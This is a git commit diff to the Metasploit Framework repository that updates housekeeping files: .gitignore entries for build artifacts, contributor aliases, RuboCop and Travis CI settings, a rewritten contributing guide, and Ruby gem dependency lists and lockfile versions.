Tod Beardsley
commit
deaf0eb3d1
|
|
@ -1,4 +1,6 @@
|
|||
.bundle
|
||||
Gemfile.local
|
||||
Gemfile.local.lock
|
||||
# Rubymine project directory
|
||||
.idea
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
|
|
@ -11,10 +13,10 @@
|
|||
.DS_Store
|
||||
# database config for testing
|
||||
config/database.yml
|
||||
# target config file for testing
|
||||
features/support/targets.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
data/meterpreter/ext_server_pivot.x86.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
|
|
@ -48,6 +50,30 @@ tags
|
|||
*.opensdf
|
||||
*.user
|
||||
|
||||
# Rails log directory
|
||||
/log
|
||||
# Rails tmp directory
|
||||
/tmp
|
||||
|
||||
# ignore release/debug folders for exploits
|
||||
external/source/exploits/**/Debug
|
||||
external/source/exploits/**/Release
|
||||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the meterpreter_bins gem.
|
||||
data/meterpreter/elevator.*.dll
|
||||
data/meterpreter/ext_server_espia.*.dll
|
||||
data/meterpreter/ext_server_extapi.*.dll
|
||||
data/meterpreter/ext_server_incognito.*.dll
|
||||
data/meterpreter/ext_server_kiwi.*.dll
|
||||
data/meterpreter/ext_server_lanattacks.*.dll
|
||||
data/meterpreter/ext_server_mimikatz.*.dll
|
||||
data/meterpreter/ext_server_priv.*.dll
|
||||
data/meterpreter/ext_server_stdapi.*.dll
|
||||
data/meterpreter/metsrv.*.dll
|
||||
data/meterpreter/screenshot.*.dll
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
# check out Metasploit Pro: http://metasploit.com/download
|
||||
data/meterpreter/ext_server_pivot.*.dll
|
||||
|
|
|
|||
15
.mailmap
15
.mailmap
|
|
@ -2,6 +2,7 @@ bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
|||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
|
||||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
|
|
@ -13,14 +14,17 @@ jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
|||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
tasos-r7 <tasos-r7@github> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
|
|
@ -72,9 +76,18 @@ OJ <oj@github> OJ Reeves <oj@buffered.io>
|
|||
OJ <oj@github> OJ <oj@buffered.io>
|
||||
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
|
||||
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
|
||||
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
|
||||
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
|
||||
# Aliases for utility author names. Since they're fake, typos abound
|
||||
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
|
||||
|
|
|
|||
|
|
@ -0,0 +1,79 @@
|
|||
# This list was intially created by analyzing the last three months (51
|
||||
# modules) committed to Metasploit Framework. Many, many older modules
|
||||
# will have offenses, but this should at least provide a baseline for
|
||||
# new modules.
|
||||
#
|
||||
# Updates to this file should include a 'Description' parameter for any
|
||||
# explaination needed.
|
||||
|
||||
# inherit_from: .rubocop_todo.yml
|
||||
|
||||
Style/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/Encoding:
|
||||
Enabled: true
|
||||
Description: 'We prefer binary to UTF-8.'
|
||||
EnforcedStyle: 'when_needed'
|
||||
|
||||
Style/LineLength:
|
||||
Description: >-
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
Style/MethodLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
# Basically everything in metasploit needs binary encoding, not UTF-8.
|
||||
# Disable this here and enforce it through msftidy
|
||||
Style/Encoding:
|
||||
Enabled: false
|
||||
|
||||
Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Style/SpaceInsideBrackets:
|
||||
Enabled: false
|
||||
Description: 'Until module template are final, most modules will fail this.'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
Description: 'Single vs double quote fights are largely unproductive.'
|
||||
|
||||
Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
# def run_host(ip)
|
||||
# begin
|
||||
# ...
|
||||
# rescue ...
|
||||
# ...
|
||||
# ensure
|
||||
# disconnect
|
||||
# end
|
||||
# end
|
||||
- 'modules/**/*'
|
||||
|
||||
Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
|
@ -1 +1 @@
|
|||
1.9.3-p484
|
||||
1.9.3-p547
|
||||
|
|
|
|||
18
.travis.yml
18
.travis.yml
|
|
@ -1,11 +1,25 @@
|
|||
env:
|
||||
- RAKE_TASK=cucumber
|
||||
- RAKE_TASK=cucumber:boot
|
||||
- RAKE_TASK=spec
|
||||
|
||||
language: ruby
|
||||
before_install:
|
||||
- rake --version
|
||||
- sudo apt-get update -qq
|
||||
- sudo apt-get install -qq libpcap-dev
|
||||
# Uncomment when we have fewer shipping msftidy warnings.
|
||||
# Merge committers will still be checking, just not autofailing.
|
||||
# See https://dev.metasploit.com/redmine/issues/8498
|
||||
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
# - ls -la ./.git/hooks
|
||||
# - ./.git/hooks/post-merge
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
- rake db:create
|
||||
- rake db:migrate
|
||||
- bundle exec rake --version
|
||||
- bundle exec rake db:create
|
||||
- bundle exec rake db:migrate
|
||||
script: "bundle exec rake $RAKE_TASK"
|
||||
|
||||
rvm:
|
||||
#- '1.8.7'
|
||||
|
|
|
|||
|
|
@ -3,5 +3,8 @@
|
|||
--exclude \.ut\.rb/
|
||||
--exclude \.ts\.rb/
|
||||
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
|
||||
app/**/*.rb
|
||||
lib/msf/**/*.rb
|
||||
lib/metasploit/**/*.rb
|
||||
lib/rex/**/*.rb
|
||||
plugins/**/*.rb
|
||||
|
|
|
|||
110
CONTRIBUTING.md
110
CONTRIBUTING.md
|
|
@ -1,44 +1,86 @@
|
|||
# Hello, World!
|
||||
|
||||
Thanks for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place!
|
||||
|
||||
Are you about to report a bug? Sorry to hear it.
|
||||
|
||||
Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues).
|
||||
Please try to be as specific you can about your problem, include steps
|
||||
to reproduce (cut and paste from your console output if it's helpful), and
|
||||
what you were expecting to happen.
|
||||
|
||||
Are you about to report a security vulnerability in Metasploit itself?
|
||||
How ironic! Please take a look at Rapid's [Vulnerability
|
||||
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
|
||||
your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D).
|
||||
|
||||
Are you about to contribute some new functionality, a bug fix, or a new
|
||||
Metasploit module? If so, read on...
|
||||
|
||||
# Contributing to Metasploit
|
||||
|
||||
## Reporting Bugs
|
||||
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
|
||||
and don'ts of how to make sure *your* valuable contributions actually
|
||||
make it into Metasploit's master branch.
|
||||
|
||||
If you would like to report a bug, please take a look at [our Redmine
|
||||
issue
|
||||
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
|
||||
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
|
||||
If you care not to follow these rules, your contribution **will** be
|
||||
closed (*Road House* style). Sorry!
|
||||
|
||||
If your bug is new and you'd like to report it you will need to
|
||||
[register
|
||||
first](https://dev.metasploit.com/redmine/account/register). Don't
|
||||
worry, it's easy and fun and takes about 30 seconds.
|
||||
This is intended to be a **short** list. The
|
||||
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
|
||||
exhaustive and reveals many mysteries. If you read nothing else, take a
|
||||
look at the standard [development environment setup
|
||||
guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
|
||||
and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
|
||||
|
||||
When you file a bug report, please include your **steps to reproduce**,
|
||||
full copy-pastes of Ruby stack traces, and any relevant details about
|
||||
your environment. Without repro steps, your bug will likely be closed.
|
||||
With repro steps, your bugs will likely be fixed.
|
||||
## Code Contributions
|
||||
|
||||
## Contributing Metasploit Modules
|
||||
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
|
||||
* *Do* get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
|
||||
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
|
||||
|
||||
If you have an exploit that you'd like to contribute to the Metasploit
|
||||
Framework, please familiarize yourself with the
|
||||
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
|
||||
document in the
|
||||
Metasploit-Framework repository. There are many mysteries revealed in
|
||||
HACKING concerning code style and content.
|
||||
### Pull Requests
|
||||
|
||||
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
|
||||
should corellate with modules at a 1:1 ratio
|
||||
-- there is rarely a good reason to have two, three, or ten modules on
|
||||
one pull request, as this dramatically increases the review time
|
||||
required to land (commit) any of those modules.
|
||||
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
Pull requests tend to be very collaborative for Metasploit -- do not be
|
||||
surprised if your pull request to rapid7/metasploit-framework triggers a
|
||||
pull request back to your own fork. In this way, we can isolate working
|
||||
changes before landing your PR to the Metasploit master branch.
|
||||
Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
|
||||
|
||||
To save yourself the embarrassment of committing common errors, you will
|
||||
want to symlink the `msftidy.rb` utility to your pre-commit hooks by
|
||||
running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
|
||||
from the top-level directory of your metasploit-framework clone. This
|
||||
will prevent you from committing modules that raise WARNINGS or ERRORS.
|
||||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
|
||||
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
||||
#### Library Code
|
||||
|
||||
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
|
||||
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
|
||||
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
|
||||
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
|
||||
|
||||
#### Bug Fixes
|
||||
|
||||
* **Do** include reproduction steps in the form of verification steps.
|
||||
* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description.
|
||||
|
||||
## Bug Reports
|
||||
|
||||
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
|
||||
* **Don't** file duplicate reports - search for your bug before filing a new report.
|
||||
|
||||
If you need some more guidance, talk to the main body of open
|
||||
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
|
||||
or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
|
||||
mailing list.
|
||||
|
||||
Also, **thank you** for taking the few moments to read this far! You're
|
||||
already way ahead of the curve, so keep it up!
|
||||
|
|
|
|||
2
COPYING
2
COPYING
|
|
@ -1,4 +1,4 @@
|
|||
Copyright (C) 2006-2013, Rapid7 Inc.
|
||||
Copyright (C) 2006-2013, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
|
|
|||
77
Gemfile
77
Gemfile
|
|
@ -1,58 +1,57 @@
|
|||
source 'https://rubygems.org'
|
||||
|
||||
# Need 3+ for ActiveSupport::Concern
|
||||
gem 'activesupport', '>= 3.0.0'
|
||||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||
gem 'json'
|
||||
# Needed by msfgui and other rpc components
|
||||
gem 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
gem 'nokogiri'
|
||||
# Needed by anemone crawler
|
||||
gem 'robots'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
gem 'packetfu', '1.1.9'
|
||||
# Add default group gems to `metasploit-framework.gemspec`:
|
||||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord'
|
||||
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
|
||||
# Metasploit::Credential database models
|
||||
gem 'metasploit-credential', '>= 0.9.0'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', '~> 0.16.6'
|
||||
gem 'metasploit_data_models', '~> 0.19'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
end
|
||||
|
||||
group :development do
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
# for development and testing purposes
|
||||
gem 'pry'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
# supplies factories for producing model instance for specs
|
||||
# Version 4.1.0 or newer is needed to support generate calls without the
|
||||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_girl_rails'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat', '1.2.1'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake', '>= 10.0.0'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12', '< 3.0.0'
|
||||
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
||||
# environment is development
|
||||
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
|
||||
end
|
||||
|
||||
group :pcap do
|
||||
gem 'network_interface', '~> 0.0.1'
|
||||
# For sniffer and raw socket modules
|
||||
gem 'pcaprub'
|
||||
end
|
||||
|
||||
group :development do
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
# supplies factories for producing model instance for specs
|
||||
# Version 4.1.0 or newer is needed to support generate calls without the
|
||||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat', '1.2.1'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake', '>= 10.0.0'
|
||||
end
|
||||
|
||||
group :test do
|
||||
# Removes records from database created during tests. Can't use rspec-rails'
|
||||
# transactional fixtures because multiple connections are in use so
|
||||
# transactions won't work.
|
||||
gem 'database_cleaner'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
# cucumber extension for testing command line applications, like msfconsole
|
||||
gem 'aruba'
|
||||
# cucumber + automatic database cleaning with database_cleaner
|
||||
gem 'cucumber-rails'
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
|
|
|
|||
|
|
@ -0,0 +1,34 @@
|
|||
##
|
||||
# Example Gemfile.local file for Metasploit Framework
|
||||
#
|
||||
# The Gemfile.local file provides a way to use other gems that are not
|
||||
# included in the standard Gemfile provided with Metasploit.
|
||||
# This filename is included in Metasploit's .gitignore file, so local changes
|
||||
# to this file will not accidentally show up in future pull requests. This
|
||||
# example Gemfile.local includes all gems in Gemfile using instance_eval.
|
||||
# It also creates a new bundle group, 'local', to hold additional gems.
|
||||
#
|
||||
# This file will not be used by default within the framework. As such, one
|
||||
# must first install the custom Gemfile.local with bundle:
|
||||
# bundle install --gemfile Gemfile.local
|
||||
#
|
||||
# Note that msfupdate does not consider Gemfile.local when updating the
|
||||
# framework. If it is used, it may be necessary to run the above bundle
|
||||
# command after the update.
|
||||
#
|
||||
###
|
||||
|
||||
# Include the Gemfile included with the framework. This is very
|
||||
# important for picking up new gem dependencies.
|
||||
msf_gemfile = File.join(File.dirname(__FILE__), 'Gemfile')
|
||||
if File.readable?(msf_gemfile)
|
||||
instance_eval(File.read(msf_gemfile))
|
||||
end
|
||||
|
||||
# Create a custom group
|
||||
group :local do
|
||||
# Use pry-debugger to step through code during development
|
||||
gem 'pry-debugger', '~> 0.2'
|
||||
# Add the lab gem so that the 'lab' plugin will work again
|
||||
gem 'lab', '~> 0.2.7'
|
||||
end
|
||||
236
Gemfile.lock
236
Gemfile.lock
|
|
@ -1,81 +1,227 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.10.1.pre.dev)
|
||||
actionpack (< 4.0.0)
|
||||
activesupport (>= 3.0.0, < 4.0.0)
|
||||
bcrypt
|
||||
json
|
||||
metasploit-model (~> 0.26.1)
|
||||
meterpreter_bins (= 0.0.7)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
railties
|
||||
rkelly-remix (= 0.0.6)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
sqlite3
|
||||
tzinfo
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
actionmailer (3.2.19)
|
||||
actionpack (= 3.2.19)
|
||||
mail (~> 2.5.4)
|
||||
actionpack (3.2.19)
|
||||
activemodel (= 3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.14)
|
||||
activemodel (= 3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
erubis (~> 2.7.0)
|
||||
journey (~> 1.0.4)
|
||||
rack (~> 1.4.5)
|
||||
rack-cache (~> 1.2)
|
||||
rack-test (~> 0.6.1)
|
||||
sprockets (~> 2.2.1)
|
||||
activemodel (3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.19)
|
||||
activemodel (= 3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.14)
|
||||
activeresource (3.2.19)
|
||||
activemodel (= 3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
activesupport (3.2.19)
|
||||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
arel (3.0.3)
|
||||
arel-helpers (2.0.1)
|
||||
activerecord (>= 3.1.0, < 5)
|
||||
aruba (0.6.1)
|
||||
childprocess (>= 0.3.6)
|
||||
cucumber (>= 1.1.1)
|
||||
rspec-expectations (>= 2.7.0)
|
||||
bcrypt (3.1.7)
|
||||
builder (3.0.4)
|
||||
database_cleaner (1.1.1)
|
||||
diff-lcs (1.2.4)
|
||||
factory_girl (4.2.0)
|
||||
capybara (2.4.1)
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
rack (>= 1.0.0)
|
||||
rack-test (>= 0.5.4)
|
||||
xpath (~> 2.0)
|
||||
childprocess (0.5.3)
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
coderay (1.1.0)
|
||||
cucumber (1.2.1)
|
||||
builder (>= 2.1.2)
|
||||
diff-lcs (>= 1.1.3)
|
||||
gherkin (~> 2.11.0)
|
||||
json (>= 1.4.6)
|
||||
cucumber-rails (1.4.0)
|
||||
capybara (>= 1.1.2)
|
||||
cucumber (>= 1.2.0)
|
||||
nokogiri (>= 1.5.0)
|
||||
rails (>= 3.0.0)
|
||||
diff-lcs (1.2.5)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.4.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.4.1)
|
||||
factory_girl (~> 4.4.0)
|
||||
railties (>= 3.0.0)
|
||||
ffi (1.9.3)
|
||||
fivemat (1.2.1)
|
||||
i18n (0.6.5)
|
||||
json (1.8.0)
|
||||
metasploit_data_models (0.16.6)
|
||||
activerecord (>= 3.2.13)
|
||||
activesupport
|
||||
gherkin (2.11.6)
|
||||
json (>= 1.7.6)
|
||||
hike (1.2.3)
|
||||
i18n (0.6.11)
|
||||
journey (1.0.4)
|
||||
json (1.8.1)
|
||||
mail (2.5.4)
|
||||
mime-types (~> 1.16)
|
||||
treetop (~> 1.4.8)
|
||||
metasploit-concern (0.1.1)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
metasploit-credential (0.9.0)
|
||||
metasploit-concern (~> 0.1.0)
|
||||
metasploit-model (~> 0.26.1)
|
||||
metasploit_data_models (~> 0.19.4)
|
||||
pg
|
||||
mini_portile (0.5.1)
|
||||
msgpack (0.5.5)
|
||||
multi_json (1.0.4)
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
metasploit-model (0.26.1)
|
||||
activesupport
|
||||
metasploit_data_models (0.19.4)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
metasploit-concern (~> 0.1.0)
|
||||
metasploit-model (~> 0.26.1)
|
||||
pg
|
||||
meterpreter_bins (0.0.7)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mini_portile (0.6.0)
|
||||
msgpack (0.5.8)
|
||||
multi_json (1.0.3)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.0)
|
||||
mini_portile (~> 0.5.0)
|
||||
nokogiri (1.6.3.1)
|
||||
mini_portile (= 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.16.0)
|
||||
rake (10.1.0)
|
||||
redcarpet (3.0.0)
|
||||
pg (0.17.1)
|
||||
polyglot (0.3.5)
|
||||
pry (0.10.0)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
rack (1.4.5)
|
||||
rack-cache (1.2)
|
||||
rack (>= 0.4)
|
||||
rack-ssl (1.3.4)
|
||||
rack
|
||||
rack-test (0.6.2)
|
||||
rack (>= 1.0)
|
||||
rails (3.2.19)
|
||||
actionmailer (= 3.2.19)
|
||||
actionpack (= 3.2.19)
|
||||
activerecord (= 3.2.19)
|
||||
activeresource (= 3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
bundler (~> 1.0)
|
||||
railties (= 3.2.19)
|
||||
railties (3.2.19)
|
||||
actionpack (= 3.2.19)
|
||||
activesupport (= 3.2.19)
|
||||
rack-ssl (~> 1.3.2)
|
||||
rake (>= 0.8.7)
|
||||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
rake (10.3.2)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
redcarpet (3.1.2)
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec (2.14.1)
|
||||
rspec-core (~> 2.14.0)
|
||||
rspec-expectations (~> 2.14.0)
|
||||
rspec-mocks (~> 2.14.0)
|
||||
rspec-core (2.14.5)
|
||||
rspec-expectations (2.14.2)
|
||||
rspec (2.99.0)
|
||||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rspec-collection_matchers (1.0.0)
|
||||
rspec-expectations (>= 2.99.0.beta1)
|
||||
rspec-core (2.99.1)
|
||||
rspec-expectations (2.99.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.14.3)
|
||||
shoulda-matchers (2.3.0)
|
||||
activesupport (>= 3.0.0)
|
||||
rspec-mocks (2.99.2)
|
||||
rspec-rails (2.99.0)
|
||||
actionpack (>= 3.0)
|
||||
activemodel (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-collection_matchers
|
||||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rubyntlm (0.4.0)
|
||||
rubyzip (1.1.6)
|
||||
shoulda-matchers (2.6.2)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
timecop (0.6.3)
|
||||
tzinfo (0.3.37)
|
||||
yard (0.8.7)
|
||||
slop (3.6.0)
|
||||
sprockets (2.2.2)
|
||||
hike (~> 1.2)
|
||||
multi_json (~> 1.0)
|
||||
rack (~> 1.0)
|
||||
tilt (~> 1.1, != 1.3.0)
|
||||
sqlite3 (1.3.9)
|
||||
thor (0.19.1)
|
||||
tilt (1.4.1)
|
||||
timecop (0.7.1)
|
